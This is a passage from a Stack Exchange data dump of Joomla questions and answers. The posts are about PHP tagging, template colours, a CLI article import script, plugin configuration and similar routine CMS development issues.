like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ourTags = ['getty', 'Roma', 'New York'];&#xA;&#xA;// this is an existing article ID from the #__ucm_content table&#xA;$ucmId = 5;&#xA;&#xA;$itemID = 11; // The article ID in #__content table&#xA;&#xA;$our_tags_created = tagThoseArticleItems($ucmId, $itemID, $ourTags, $replace = true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second function is just doing the tag mapping correctly. &lt;strong&gt;I hardcoded the content Table&lt;/strong&gt; in this, but you can refactor this for using other tables too, if not content tagging.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important to note&lt;/strong&gt; that &lt;code&gt;$ucmId&lt;/code&gt; is the &lt;code&gt;core_content_id&lt;/code&gt; from the &lt;code&gt;#__ucm_content&lt;/code&gt; table. so you should use that ID as the first argument and NOT a type like &lt;code&gt;com_content.article&lt;/code&gt; and &lt;strong&gt;not the article ID&lt;/strong&gt; from the &lt;code&gt;#__content table&lt;/code&gt;. In our custom code we have to provide the article ID too from the content table.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The challenge&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried but I have not found a short, straightforward solution on this task in Joomla on tagging content articles from an outside extension for example. Anybody else on this? The question is interesting because if someone came with a Wordpress developer background, rightfully would ask and look for a one line solution on this, like WP has on tagging a Post:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;wp_set_post_tags( int $post_id, string|array $tags = '', bool $append = false )&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately at many of these small points we could realize the big difference on developer friendliness of the Content Management Systems.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-19T15:57:53.897" LastActivityDate="2023-03-19T15:57:53.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32878" PostTypeId="2" ParentId="32874" CreationDate="2023-03-16T05:48:25.087" Score="2" Body="&lt;p&gt;I tend to use the default Joomla! template for all my sites (admittedly not commercial sites but NFPs/charities) and I enhance the basic Cassiopeia with a variety of extra colours.&lt;/p&gt;&#xA;&lt;p&gt;In the templateDetails.xml file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;colorName&amp;quot;&#xA;    type=&amp;quot;filelist&amp;quot;&#xA;    label=&amp;quot;TPL_CASSIOPEIA_COLOR_NAME_LABEL&amp;quot;&#xA;    default=&amp;quot;colors_standard&amp;quot;&#xA;    fileFilter=&amp;quot;^custom.+[^min]\.css$&amp;quot;&#xA;    exclude=&amp;quot;^colors.+&amp;quot;&#xA;    stripext=&amp;quot;true&amp;quot;&#xA;    hide_none=&amp;quot;true&amp;quot;&#xA;    hide_default=&amp;quot;true&amp;quot;&#xA;    directory=&amp;quot;media/templates/site/cassiopiea/css/global/&amp;quot;&#xA;    validate=&amp;quot;options&amp;quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&amp;quot;colors_alternative&amp;quot;&amp;gt;TPL_CASSIOPEIA_COLOR_NAME_ALTERNATIVE&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;colors_standard&amp;quot;&amp;gt;TPL_CASSIOPEIA_COLOR_NAME_STANDARD&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;colors_burned&amp;quot;&amp;gt;TPL_CASSIOPEIA_COLOR_NAME_BURNED&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the media folder is where all the action is.  So in media/templates/site/cassiopeia/css/global copy the file colors_standard.css and rename to colors_burned.css and edit the colours in this file to be that of what you want and then create the min and .gz versions of this ie colors_burned.min.css &amp;amp; colors_burned.min.css.gz.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:root {&#xA;      --cassiopeia-color-primary: #912b3b;&#xA;      --cassiopeia-color-link: #ff7530;&#xA;      --cassiopeia-color-hover: #ff7430;&#xA;      --cassiopeia-color-primary-border: #ee6c39;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in media/templates/site/cassiopeia/scss/global make a copy of colors_standard.scss and rename to colors_burned.scss and edit this to change &amp;quot;standard&amp;quot; to &amp;quot;burned&amp;quot; such as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Variables, Functions and Mixins&#xA;@import &amp;quot;../tools/tools&amp;quot;;&#xA;&#xA;:root {&#xA;  --cassiopeia-color-primary: #{$burned-color-primary};&#xA;  --cassiopeia-color-link: #{$burned-color-link};&#xA;  --cassiopeia-color-hover: #{$burned-color-hover};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think that's all there is to it from memory.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-03-16T05:48:25.087" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32879" PostTypeId="1" CreationDate="2023-03-16T21:53:24.880" Score="2" ViewCount="126" Body="&lt;p&gt;I am using the following code in the Joomla Cli to import news items into articles on a client's website. It was working perfectly until yesterday when an error was reported and no news items were imported.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php')) {&#xA;  require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;  define('JPATH_BASE', dirname(__DIR__));&#xA;  require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;$app = JFactory::getApplication( 'site' );&#xA;&#xA;class BulkArticles extends JApplicationCli {&#xA;  public function doExecute(): void {&#xA;    $this-&amp;gt;out(JText::_('Start'));&#xA;&#xA;    // Fetch the JSON data and Run the insertArticle bulk data import to articles function&#xA;    $curlOpts = [&#xA;      CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=1%2C2%2C3%2C4%2C5%2C6%2C16%2C17&amp;amp;limit=10&amp;amp;maxAge=15&amp;amp;apikey=redacted',&#xA;      CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;      CURLOPT_ENCODING =&amp;gt; '',&#xA;      CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;      CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;      CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;      CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;      CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;    ];&#xA;    try {&#xA;      $fetchedArticles = $this-&amp;gt;curlToObject($curlOpts);&#xA;      if ($fetchedArticles) {&#xA;        $this-&amp;gt;out(JText::_('Fetched Articles: ' . count($fetchedArticles)));&#xA;      }&#xA;      $insertedIds = $this-&amp;gt;insertArticles($fetchedArticles);&#xA;      if ($insertedIds) {&#xA;        $this-&amp;gt;out(JText::_('Inserted IDs: ' . implode(', ', $insertedIds)));&#xA;      }&#xA;    } catch (exception $e) {&#xA;      $this-&amp;gt;out(JText::_($e-&amp;gt;getMessage()));&#xA;    }&#xA;    $this-&amp;gt;out(JText::_('Complete'));&#xA;  }&#xA;&#xA;  /**&#xA;   * @throws Exception&#xA;   */&#xA;  private function curlToObject(array $curlOpts): array {&#xA;    $ch = curl_init();&#xA;    curl_setopt_array($ch, $curlOpts);&#xA;    $result = curl_exec($ch);&#xA;    $error = curl_error($ch); // Get the last error&#xA;    curl_close($ch);&#xA;    if ($error) {&#xA;      throw new Exception($error);&#xA;    }&#xA;    return json_decode($result);&#xA;  }&#xA;&#xA;  /**&#xA;   * @throws Exception&#xA;   */&#xA;  private function insertArticles(array $articles): array {&#xA;    require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;    $articleModel = new ContentModelArticle([]);&#xA;&#xA;    foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article) {&#xA;      $articleData = [&#xA;        'id' =&amp;gt; 0,&#xA;        'catid' =&amp;gt; 13,&#xA;        'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;        'alias' =&amp;gt; JFilterOutput::stringURLSafe($article-&amp;gt;title),&#xA;        'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary, ['p', 'img', 'table']),&#xA;        'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content, ['p', 'img', 'table']),&#xA;        'note' =&amp;gt; 'DTN supplied topics: ' . str_replace('/', ', ', $article-&amp;gt;topic),&#xA;        'state' =&amp;gt; 1,&#xA;        'access' =&amp;gt; 1,&#xA;        'created_by' =&amp;gt; 386,&#xA;        'created_by_alias' =&amp;gt; 'DTN News',&#xA;        'language' =&amp;gt; '*',&#xA;        'metadata' =&amp;gt; [&#xA;          'xreference' =&amp;gt; $article-&amp;gt;dtnpfUrl,&#xA;        ],&#xA;        'attribs' =&amp;gt; [&#xA;          'show_publish_date' =&amp;gt; 1,&#xA;        ],&#xA;        'rules' =&amp;gt; [&#xA;          'core.edit.delete' =&amp;gt; [],&#xA;          'core.edit.edit' =&amp;gt; [],&#xA;          'core.edit.state' =&amp;gt; []&#xA;        ],&#xA;      ];&#xA;&#xA;      if (!$articleModel-&amp;gt;save($articleData)) {&#xA;        throw new Exception($articleModel-&amp;gt;getError());&#xA;      } else {&#xA;        $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;      }&#xA;    }&#xA;    return $newIds ?? [];&#xA;  }&#xA;&#xA;  private function removeDuplicateAliases(array $articles): array {&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query&#xA;      -&amp;gt;select('a.alias')&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('a.catid') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('13'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $aliasLookup = array_flip($db-&amp;gt;loadColumn());&#xA;&#xA;    foreach ($articles as $i =&amp;gt; $article) {&#xA;      if (isset($aliasLookup[JFilterOutput::stringURLSafe($article-&amp;gt;title)])) {&#xA;        unset($articles[$i]);&#xA;      }&#xA;    }&#xA;    return $articles;&#xA;  }&#xA;}&#xA;JApplicationCli::getInstance('BulkArticles')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I ran the following command &lt;code&gt;php -d display_errors dtn-news.php&lt;/code&gt; in the cli directory and the following error was returned: &lt;code&gt;Error: Call to undefined function Joomla\CMS\Language\simplexml_load_file(): Call to undefined function Joomla\CMS\Language\simplexml_load_file()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;SimpleXML and the associated PHP extension are both installed.&lt;/p&gt;&#xA;&lt;p&gt;The server PHP error logs are not reporting anything out of the ordinary.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on why this just stopped working? Could it be something with the API? I have redacted the key for privacy and security reasons.&lt;/p&gt;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2023-03-16T21:53:24.880" Title="SimpleXML load file error for cli PHP script" Tags="|php|cli|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32880" PostTypeId="1" CreationDate="2023-03-18T13:21:51.490" Score="2" ViewCount="144" Body="&lt;p&gt;In J4, when I want to set a value to a Custom Field, I use the following code and it works fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = new FieldModel(array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;setFieldValue(2, $item-&amp;gt;id, 'blabla'); // where 2 is the CF ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also need to &lt;em&gt;add&lt;/em&gt;  Tag with ID 2 to that same Article (without losing the existing Tag).&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="12352" LastEditDate="2023-03-19T08:31:25.870" LastActivityDate="2023-03-19T08:31:25.870" Title="Adding a Tag to an Article (in PHP)" Tags="|php|joomla-4.x|tags|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32881" PostTypeId="1" CreationDate="2023-03-20T12:06:03.297" Score="0" ViewCount="189" Body="&lt;p&gt;I have copied the card.php file from templates/cassiopeia/html/layouts/chromes and placed it in my templates/MYTEMPLATE/html/layouts/chromes folder, and then made some modifications to the styling. Then I saved the file, selected the chrome from my module's Advanced tab, cleared my browser cache, and refreshed the browser. The custom chrome does not load.&lt;/p&gt;&#xA;&lt;p&gt;Actually, even if I copy card.php over to my template folder and make no changes to it whatsoever, and then select it from the module's Advanced tab, it doesn't work. The card styling is not there, and the heading disappears.&lt;/p&gt;&#xA;&lt;p&gt;When I select the Card chrome from the Cassiopeia template, it works fine.&lt;/p&gt;&#xA;&lt;p&gt;Where did I go wrong?&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2023-12-18T14:08:21.063" Title="Custom module chrome is not working in Joomla 4" Tags="|module|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32883" PostTypeId="1" CreationDate="2023-03-20T13:35:50.380" Score="0" ViewCount="148" Body="&lt;p&gt;Is this a Joomla 4 change? It used to be set to a proper folder before. We have &lt;code&gt;require_once&lt;/code&gt; calls that fail because of this. Worked in Joomla 3, not sure what changed during bootstrap here.&lt;/p&gt;&#xA;&lt;p&gt;Only place I can find in the code is libraries/src/Filesystem/Path.php:removeRoot where they replace root with the string &amp;quot;[ROOT]&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Maybe using JPATH_SITE would work instead...&lt;/p&gt;&#xA;&lt;p&gt;Maybe not a problem, just the LogEntry cleaning the message from root folder path.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2023-03-20T14:45:13.327" LastActivityDate="2023-03-20T14:45:13.327" Title="Why is JPATH_ROOT set to &quot;[ROOT]&quot;?" Tags="|untagged|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32884" PostTypeId="1" CreationDate="2023-03-20T13:57:49.390" Score="0" ViewCount="35" Body="&lt;p&gt;I want to output a float price using a language constant like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MYCONST_VAT=&amp;quot;incl. %.2f&amp;amp;#37 VAT&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So doing this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo Text::sprintf('MYCONST_VAT', 19);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;outputs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;incl. 19.00% VAT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is if sending Joomla mails using constants like that, the mails display the output like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;incl. 19.00&amp;amp;#37 VAT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-12-15T17:06:30.890" Title="Special character (%) in language string" Tags="|language|jtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32885" PostTypeId="2" ParentId="32884" CreationDate="2023-03-20T14:31:33.453" Score="0" Body="&lt;p&gt;You are missing a semicolon at the end of the entity and also such string would need to be run through &lt;code&gt;html_entity_decode()&lt;/code&gt;. However, the correct and much simpler way to escape the &lt;code&gt;%&lt;/code&gt; character in &lt;code&gt;sprintf()&lt;/code&gt; is using the &lt;code&gt;%&lt;/code&gt; character:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MYCONST_VAT=&amp;quot;incl. %.2f%% VAT&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-03-20T14:31:33.453" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32886" PostTypeId="1" AcceptedAnswerId="32887" CreationDate="2023-03-20T16:31:12.620" Score="0" ViewCount="443" Body="&lt;p&gt;Am I missing something here? Using Joomla 4 and Cassiopeia template.&lt;/p&gt;&#xA;&lt;p&gt;On the category blog view, I just want to output the article image and title. But underneath that is the WHOLE article text.&lt;/p&gt;&#xA;&lt;p&gt;Is there a setting to disable this? I dont want any of the article contents on the catgory blog page.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-03-20T22:03:32.193" Title="Joomla 4 - Category blog view - hide content of article" Tags="|joomla-4.x|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32887" PostTypeId="2" ParentId="32886" CreationDate="2023-03-20T22:03:32.193" Score="1" Body="&lt;p&gt;In the Article place a Read More link as the first line of the Article, essentially providing an empty Introduction text area and thus nothing will be displayed.&lt;/p&gt;&#xA;&lt;p&gt;You may also have to tweak your Menu and or Article setting to also hide the Read More button if you don't want that to be displayed in your layout.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TxrKV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxrKV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-20T22:03:32.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32889" PostTypeId="1" CreationDate="2023-03-21T02:47:26.393" Score="1" ViewCount="31" Body="&lt;p&gt;I am having a problem with my site at &lt;a href=&quot;https://www.shalomadventure.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.shalomadventure.com&lt;/a&gt; where the Smart Search is not respecting the Boolean login. If I wrap two words within parentheses and do a search we are getting results that are not an exact match of the two words. What is not working is the following:&lt;/p&gt;&#xA;&lt;p&gt;Entering &lt;code&gt;&amp;quot;this and that&amp;quot;&lt;/code&gt; (with quotes) into the search form will return results containing the exact phrase &lt;code&gt;this and that&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;At the search page, I am entering the term &lt;code&gt;&amp;quot;Ten Commandments&amp;quot;&lt;/code&gt; and am expecting to ONLY receive results that have that exact phrase, but instead I am also getting results that contain partial results.&lt;/p&gt;&#xA;&lt;p&gt;For example one of the results had the lone word &lt;code&gt;Commandments&lt;/code&gt; without the word &lt;code&gt;Ten&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Another of the result has the word &lt;code&gt;Listen&lt;/code&gt; with the highlight on the letters &lt;code&gt;ten&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there anything that be done to fix this?&lt;/p&gt;&#xA;&lt;p&gt;PS. I submitted this a few days ago at forum.joomla.org and it is gettng viewed a lot, but nobody is responding: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=808&amp;amp;t=1000516&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=808&amp;amp;t=1000516&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16968" LastEditorUserId="12352" LastEditDate="2023-03-21T08:25:06.933" LastActivityDate="2023-03-21T08:25:06.933" Title="Boolean Logic not working in Joomla 4 Smart Search when wrapping two words within quotation marks" Tags="|joomla-4.x|smartsearch|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32890" PostTypeId="1" CreationDate="2023-03-21T19:14:23.477" Score="1" ViewCount="140" Body="&lt;p&gt;I am trying to update a very nice Joomla 3 plugin to Joomla 4 because the plugin creator did not update it himself.&#xA;Upgrade is almost ok except that if no default value is set for one of the parameters, the plugin crashes. It does work ok if I define a default value prior to activating the plugin...&lt;/p&gt;&#xA;&lt;p&gt;Below (excerpt) is the parameter which requires a default value in the xml file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;mailto_admins&amp;quot; type=&amp;quot;usergrouplist&amp;quot; default=&amp;quot;0&amp;quot;&#xA;        multiple=&amp;quot;true&amp;quot;&#xA;        label=&amp;quot;PLG_MAILTO_ADMINS_LABEL&amp;quot;&#xA;        description=&amp;quot;PLG_MAILTO_ADMINS_DESC&amp;quot;&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;           .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I set a default value to the mailto_admins field name so that it sets it to superusers (usergroup id 8 if I'm right)?&#xA;Setting default=8 in the field definition does not seem to do it.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="16171" LastActivityDate="2023-03-21T22:31:51.097" Title="NEWBIE - How to set a default value in the xml file for a plugin field" Tags="|joomla-4.x|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32891" PostTypeId="2" ParentId="32890" CreationDate="2023-03-21T22:31:51.097" Score="1" Body="&lt;p&gt;The code as posted works however there is not enough detail in the original xml posted to see the elements that wrap around it which is where I believe the issue is.&lt;/p&gt;&#xA;&lt;p&gt;I have tested this and it works as I believe the OP expects it should.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mailto_admins&amp;quot;&#xA;                   type=&amp;quot;usergrouplist&amp;quot; default=&amp;quot;8&amp;quot;&#xA;                   multiple=&amp;quot;true&amp;quot;&#xA;                   label=&amp;quot;PLG_MAILTO_ADMINS_LABEL&amp;quot;&#xA;                   description=&amp;quot;PLG_MAILTO_ADMINS_DESC&amp;quot;&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my testing I found that not having the &lt;code&gt;&amp;lt;fields&amp;gt;&lt;/code&gt; element or not specifying &lt;code&gt;name=&amp;quot;params&amp;quot;&lt;/code&gt; had varying outcomes with whether the default was set in the params field of the #__extension table or saved when changed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;....&#xA;        &amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-21T22:31:51.097" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32892" PostTypeId="1" CreationDate="2023-03-22T12:13:38.040" Score="0" ViewCount="409" Body="&lt;p&gt;I have a custom component that I've inherited. I've upgraded the site to Joomla 4 with no problems but when going to the frontend, am getting an error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class CloudCardModelCard contains 1 abstract method&#xA;and must therefore be declared abstract or&#xA;implement the remaining methods&#xA;(Joomla\CMS\MVC\Model\ItemModelInterface::getItem) in&#xA;public_html/components/com_cloudcard/models/card.php on line 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The file referenced above is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;class CloudCardModelCard extends JModelItem {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas what I can do to get it working?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2023-03-22T14:57:55.957" LastActivityDate="2023-03-24T14:57:17.113" Title="Joomla 4 Upgrade issue with custom component" Tags="|joomla-4.x|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32893" PostTypeId="1" AcceptedAnswerId="32895" CreationDate="2023-03-22T12:52:13.947" Score="1" ViewCount="161" Body="&lt;p&gt;I am trying to change the Joomla database password. I cannot figure it out. If I change the password in the database first, then Joomla is unable to use it, because it no longer has access to the database, but if I change it in Joomla first, then it cannot be stored because the password is wrong.&lt;/p&gt;&#xA;&lt;p&gt;This seems like it should be an extremely basic thing. How do I do it?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2023-03-22T22:39:05.970" Title="Change database password?" Tags="|joomla-4.x|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32894" PostTypeId="1" AcceptedAnswerId="32898" CreationDate="2023-03-22T15:32:27.490" Score="3" ViewCount="243" Body="&lt;p&gt;We have a custom login plugin which extends the CMSPlugin.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to register the Class of the plugin inside a module but the following scenarios occur.&lt;/p&gt;&#xA;&lt;p&gt;Case 1&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('CLASS_NAME_OF_THE_PLUGIN', 'path_to_plugin');&#xA;CLASS_NAME_OF_THE_PLUGIN::method_inside_class();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does not work because the method is not static&lt;/p&gt;&#xA;&lt;p&gt;Case 2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('CLASS_NAME_OF_THE_PLUGIN', 'path_to_plugin');&#xA;$new_class_instance = CLASS_NAME_OF_THE_PLUGIN();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does not work and the error is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Too few arguments to function Joomla\CMS\Plugin\CMSPlugin::__construct(), 0 passed at least 1 expected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How I can solve that? I don't really want to change my functions/methods to 'static' because after other problems arise(can't login and so on).Perhaps going with the second approach? But I don't know what should I give as argument and how should I write it&lt;/p&gt;&#xA;&lt;p&gt;we use the Plugin to override standard Joomla login kinda. So when the user logs in for first a request is sent on the external login  &amp;quot;environment&amp;quot; and if the credentials are correct then a joomla user is created without password. After user tries to login in the future a request is being sent on the external login also. In this plugin we also check if the tokens are valid, renew the tokens if they are expired and also fetch the user additional info from the external environment(address, phone etc). So I thought I could use maybe some functions of the plugin inside a module? Like refetch the additional user info?&lt;/p&gt;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="16871" LastEditorUserId="16871" LastEditDate="2023-03-22T18:00:11.257" LastActivityDate="2023-03-23T20:17:59.717" Title="Register Plugin/Class Joomla" Tags="|plugin|joomla-4.x|plugin-events|authentication|jloader|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32895" PostTypeId="2" ParentId="32893" CreationDate="2023-03-22T22:27:47.297" Score="6" Body="&lt;p&gt;The correct method is to update database password first, either via your hosting control panel or the command line.&lt;/p&gt;&#xA;&lt;p&gt;Then manually update the password in configuration.php either through the File Manager in your hosting control panel, or update it locally and then upload via FTP.&lt;/p&gt;&#xA;" OwnerUserId="13675" LastEditorUserId="13675" LastEditDate="2023-03-22T22:39:05.970" LastActivityDate="2023-03-22T22:39:05.970" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32896" PostTypeId="2" ParentId="32892" CreationDate="2023-03-23T09:10:22.463" Score="1" Body="&lt;p&gt;The ItemModel class (JModelItem) that you are extending with your class CloudCardModelCard is defined as abstract in Joomla 4.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;abstract class ItemModel extends BaseDatabaseModel implements ItemModelInterface&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However your CloudCardModelCard class is not defined as abstract&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class CloudCardModelCard extends JModelItem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Therefore the message is saying you need to change your class statement to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;abstract class CloudCardModelCard extends JModelItem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or you need to put all the methods found in ItemModel into your own class, which isn't that big an issue as there is only method to copy&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getStoreId($id = '')&#xA;{&#xA;    // Compile the store id.&#xA;    return md5($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-23T09:10:22.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32897" PostTypeId="1" AcceptedAnswerId="32899" CreationDate="2023-03-23T09:55:36.720" Score="0" ViewCount="97" Body="&lt;p&gt;I have an installed template on the site all ready, but I want to reinstall it without removing any content. From my understanding you can just remove the entry from the database?&lt;/p&gt;&#xA;&lt;p&gt;How do I do it.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2023-03-23T10:28:34.513" Title="Reinstall template" Tags="|templates|joomla-4.x|css|cassiopeia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
